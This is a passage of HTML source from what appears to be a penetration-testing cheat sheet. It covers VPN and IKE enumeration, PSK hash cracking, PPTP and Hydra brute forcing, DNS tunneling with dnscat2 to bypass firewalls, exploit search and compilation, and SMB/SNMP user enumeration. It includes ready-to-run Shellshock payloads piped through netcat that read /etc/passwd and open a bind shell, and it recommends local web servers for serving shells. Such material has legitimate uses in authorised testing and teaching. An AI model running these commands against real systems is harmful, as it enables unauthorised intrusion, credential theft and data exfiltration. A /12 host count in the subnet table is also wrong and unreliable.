    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/16&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;65534 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/15&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.254.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;131070 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/14&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.252.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;262142 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/13&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.248.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;524286 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/12&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.240.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;1048674 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/11&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.224.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;2097150 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/10&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.192.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;4194302 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/9&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.128.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;8388606 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/8&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.0.0.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;16777214 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vlan-hopping&quot;&gt;VLAN Hopping&lt;/h3&gt;

&lt;p&gt;Using NCCGroups VLAN wrapper script for Yersina simplifies the process.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;vpn-pentesting-tools&quot;&gt;VPN Pentesting Tools&lt;/h3&gt;

&lt;p&gt;Identify VPN servers:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./udp-protocol-scanner.pl -p ike TARGET(s)

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Scan a range for VPN servers:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./udp-protocol-scanner.pl -p ike -f ip.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;ikeforce&quot;&gt;IKEForce&lt;/h4&gt;

&lt;p&gt;Use IKEForce to enumerate or dictionary attack VPN servers.&lt;/p&gt;

&lt;p&gt;Install:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Perform IKE VPN enumeration with IKEForce:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Bruteforce IKE VPN using IKEForce:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;ike-aggressive-mode-psk-cracking&quot;&gt;IKE Aggressive Mode PSK Cracking&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Identify VPN Servers&lt;/li&gt;
  &lt;li&gt;Enumerate with IKEForce to obtain the group ID&lt;/li&gt;
  &lt;li&gt;Use ike-scan to capture the PSK hash from the IKE endpoint&lt;/li&gt;
  &lt;li&gt;Use psk-crack to crack the hash&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;step-1-idenitfy-ike-servers&quot;&gt;Step 1: Idenitfy IKE Servers&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./udp-protocol-scanner.pl -p ike SUBNET/24
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;step-2-enumerate-group-name-with-ikeforce&quot;&gt;Step 2: Enumerate group name with IKEForce&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;step-3-use-ike-scan-to-capture-the-psk-hash&quot;&gt;Step 3: Use ike-scan to capture the PSK hash&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;step-4-use-psk-crack-to-crack-the-psk-hash&quot;&gt;Step 4: Use psk-crack to crack the PSK hash&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;psk-crack hash-file.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some more advanced psk-crack options below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset=&quot;01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&quot; 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;pptp-hacking&quot;&gt;PPTP Hacking&lt;/h4&gt;

&lt;p&gt;Identifying PPTP, it listens on TCP: 1723&lt;/p&gt;

&lt;h5 id=&quot;nmap-pptp-fingerprint&quot;&gt;NMAP PPTP Fingerprint:&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap –Pn -sV -p 1723 TARGET(S)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;pptp-dictionary-attack&quot;&gt;PPTP Dictionary Attack&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;dns-tunneling&quot;&gt;DNS Tunneling&lt;/h3&gt;

&lt;p&gt;Tunneling data over DNS to bypass firewalls.&lt;/p&gt;

&lt;p&gt;dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.&lt;/p&gt;

&lt;h4 id=&quot;attacking-machine&quot;&gt;Attacking Machine&lt;/h4&gt;

&lt;p&gt;Installtion:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run dnscat2:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ruby ./dnscat2.rb
dnscat2&amp;gt; New session established: 1422
dnscat2&amp;gt; session -i 1422
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Target Machine:&lt;/p&gt;

&lt;p&gt;https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dnscat --host &amp;lt;dnscat server_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;bof--exploit&quot;&gt;BOF / Exploit&lt;/h2&gt;

&lt;h2 id=&quot;exploit-research&quot;&gt;Exploit Research&lt;/h2&gt;

&lt;p&gt;Find exploits for enumerated hosts / services.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;searchsploit windows 2003 | grep -i local&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Search exploit-db for exploit, in this example windows 2003 + local esc&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;site:exploit-db.com exploit kernel &amp;lt;= 3&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Use google to search exploit-db.com for exploits&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;grep -R &quot;W7&quot; /usr/share/metasploit-framework&lt;br /&gt;/modules/exploit/windows/*&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Search metasploit modules using grep - msf search sucks a bit&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;searching-for-exploits&quot;&gt;Searching for Exploits&lt;/h3&gt;

&lt;p&gt;Install local copy of exploit-db:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; searchsploit –u
 searchsploit apache 2.2
 searchsploit &quot;Linux Kernel&quot;
 searchsploit linux 2.6 | grep -i ubuntu | grep local
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;compiling-windows-exploits-on-kali&quot;&gt;Compiling Windows Exploits on Kali&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip &amp;amp;&amp;amp; unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;cross-compiling-exploits&quot;&gt;Cross Compiling Exploits&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;exploiting-common-vulnerabilities&quot;&gt;Exploiting Common Vulnerabilities&lt;/h3&gt;

&lt;h4 id=&quot;exploiting-shellshock&quot;&gt;Exploiting Shellshock&lt;/h4&gt;

&lt;p&gt;A tool to find and exploit servers vulnerable to Shellshock:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/nccgroup/shocker
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./shocker.py -H TARGET  --command &quot;/bin/cat /etc/passwd&quot; -c /cgi-bin/status --verbose
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;cat-file-view-file-contents&quot;&gt;cat file (view file contents)&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo -e &quot;HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(&amp;lt;/etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n&quot; | nc TARGET 80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;shell-shock-run-bind-shell&quot;&gt;Shell Shock run bind shell&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo -e &quot;HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n&quot; | nc TARGET 80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;shell-shock-reverse-shell&quot;&gt;Shell Shock reverse Shell&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nc -l -p 443
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;simple-local-web-servers&quot;&gt;Simple Local Web Servers&lt;/h2&gt;

&lt;p&gt;Python local web server command, handy for serving up shells and exploits on an attacking machine.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
   &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;python -m SimpleHTTPServer 80&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Run a basic http server, great for serving up shells etc&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

        &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;python3 -m http.server&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Run a basic Python3 http server, great for serving up shells etc&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

        &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ruby -rwebrick -e &quot;WEBrick::HTTPServer.new&lt;br /&gt;(:Port =&amp;gt; 80, :DocumentRoot =&amp;gt; Dir.pwd).start&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Run a ruby webrick basic http server&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

        &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;php -S 0.0.0.0:80&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Run a basic PHP http server&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;mounting-file-shares&quot;&gt;Mounting File Shares&lt;/h2&gt;

&lt;p&gt;How to mount NFS / CIFS, Windows and Linux file shares.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;mount 192.168.1.1:/vol/share /mnt/nfs&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Mount NFS share to &lt;code&gt;/mnt/nfs&lt;/code&gt; &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;mount -t cifs -o username=user,password=pass&lt;br /&gt;,domain=blah //192.168.1.X/share-name /mnt/cifs&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Mount Windows CIFS / SMB share on Linux at &lt;code&gt;/mnt/cifs&lt;/code&gt; if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
          &lt;p&gt;&lt;code&gt;net use Z: \\win-server\share password &lt;br /&gt; /user:domain\janedoe /savecred /p:no&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Mount a Windows share on Windows from the command line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;apt-get install smb4k -y&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Install smb4k on Kali, useful Linux GUI for browsing SMB shares&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;http--https-webserver-enumeration&quot;&gt;HTTP / HTTPS Webserver Enumeration&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nikto -h 192.168.1.1&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Perform a nikto scan against target&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dirbuster&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Configure via GUI, CLI input doesn&apos;t work most of the time&lt;/p&gt;
      &lt;/td&gt;
   &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;packet-inspection&quot;&gt;Packet Inspection&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tcpdump tcp port 80 -w output.pcap -i eth0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;tcpdump for port 80 on interface eth0, outputs to output.pcap&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;username-enumeration&quot;&gt;Username Enumeration&lt;/h2&gt;

&lt;p&gt;Some techniques used to remotely enumerate users on a target system.&lt;/p&gt;

&lt;h3 id=&quot;smb-user-enumeration&quot;&gt;SMB User Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;python /usr/share/doc/python-impacket-doc/examples&lt;br /&gt;/samrdump.py 192.168.XXX.XXX&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Enumerate users from SMB&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ridenum.py 192.168.XXX.XXX 500 50000 dict.txt&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;RID cycle SMB / enumerate users from SMB&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;snmp-user-enumeration&quot;&gt;SNMP User Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

  &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 &lt;br /&gt;|cut -d” “ -f4&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Enmerate users from SNMP&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;python /usr/share/doc/python-impacket-doc/examples/&lt;br /&gt;samrdump.py SNMP 192.168.X.XXX&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Enmerate users from SNMP&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt &lt;br /&gt;(then grep)&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Search for SNMP servers with nmap, grepable output&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;




&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;passwords&quot;&gt;Passwords&lt;/h2&gt;

&lt;h3 id=&quot;wordlists&quot;&gt;Wordlists&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
	&lt;p&gt;&lt;code&gt;/usr/share/wordlists&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Kali word lists&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;brute-forcing-services&quot;&gt;Brute Forcing Services&lt;/h2&gt;

&lt;h3 id=&quot;hydra-ftp-brute-force&quot;&gt;Hydra FTP Brute Force&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
	&lt;p&gt;&lt;code&gt;hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f &lt;br /&gt;192.168.X.XXX ftp -V&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Hydra FTP brute force&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;hydra-pop3-brute-force&quot;&gt;Hydra POP3 Brute Force&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
